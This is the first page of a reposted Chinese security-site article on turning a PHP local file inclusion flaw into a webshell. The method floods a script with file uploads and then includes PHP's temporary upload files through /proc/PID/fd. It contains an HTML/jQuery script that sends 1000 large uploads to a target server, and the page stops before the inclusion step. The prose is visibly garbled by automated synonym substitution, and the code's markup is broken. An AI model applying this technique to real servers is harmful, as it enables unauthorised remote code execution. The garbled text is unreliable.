欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

把PHP LFI漏洞变为Webshell的模式

来源:本站整理 作者:佚名 时间:2017-09-01 TAG: 我要投稿

存眷PHP漏洞的同伙必定晓得LFI+phpinfo能够搞出一个webshell。 LFI这个前提还算失常,但phpinfo这个照样比较难凑的,以是有点鸡肋。接下来,我分享一个……异样鸡肋的思绪……人人先把屠刀放下!固然鸡肋,但思绪照样值得探究的。
原由是一篇老外写的文章,读完后发明他的思绪或者能够和PHP LFI联合。 文章后面写Java那段的确便是意淫,然则起初提到当linux过程拜访一个文件的时刻会在/proc/{PID}/fd/下创立一个文件描写符来指向被拜访的文件。好比/proc/1234/fd/5会指向/tmp/tmpXXX。而假如你cat proc/1234/fd/5,就会看到/tmp/tmpXXX的内容。而咱们晓得,向任何php剧本发送上传文件的哀求,php都邑创立一个暂时文件来保留上传确当内容,当php剧本履行停止才删除这个暂时文件。那末当创立暂时文件的时刻,必定会创立响应的文件描写符。假如咱们能找到对应的文件描写,应当就可以经由过程文件包括完成webshell了。一开端我想难点是猜出PID和文件描写符编号,PID异样平常是几千,apache过程的文件描写符编号异样平常就只在1-20之间,以是理论上暴力破解实在不难。起初我发明实在搞定PID和文件描写符编号要比设想中简略得多。
试验步调我就写得简练一点了。
起首,咱们必要赓续上传文件到随意率性php剧本,这个文件最好还大一些。我用的是一个也许4mb的文件,彷佛上传文件有巨细限定,太大的文件我没有试验胜利,也没有穷究。而后便是写个法式赓续上传这个文件就好,我用的是jquery+HTML。更抱负一点应当是用python/java跑多线程。如下是源代码:
html>body> script src="https://code.jquery.com/jquery-1.10.2.js">script>form id="form" action="http://192.168.174.128/Default.php" method="post" enctype="multipart/form-data">input type="file" name="test">input type="submit">form> script>$( "form" ).submit(function( event ) {    uploadFiles(event);    return;});var files;$('input[type=file]').on('change', prepareUpload);function prepareUpload(event){  files = event.target.files;}function uploadFiles(event){  event.stopPropagation();     event.preventDefault();    var data = new FormData();    $.each(files, function(key, value)    {        data.append(key, value);    });    var i=0;    for(;i1000;i++){        $.ajax({            url: 'http://192.168.174.128/Default.php',            type: 'POST',            data: data,            cache: false,            dataType: 'json',            processData: false,             contentType: false,             success: function(data, textStatus, jqXHR)            {                if(typeof data.error === 'undefined')                {                    submitForm(event, data);                }                else                {                    console.log('ERRORS: ' + data.error);                }            },            error: function(jqXHR, textStatus, errorThrown)            {                console.log('ERRORS: ' + textStatus);            }        });        //wait(100);    }}function wait(ms){   var start = new Date().getTime();   var end = start;   while(end      end = new Date().getTime();  }}script>body>html>
运转截图:

运转后能够在服务器上看到如下成果:

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载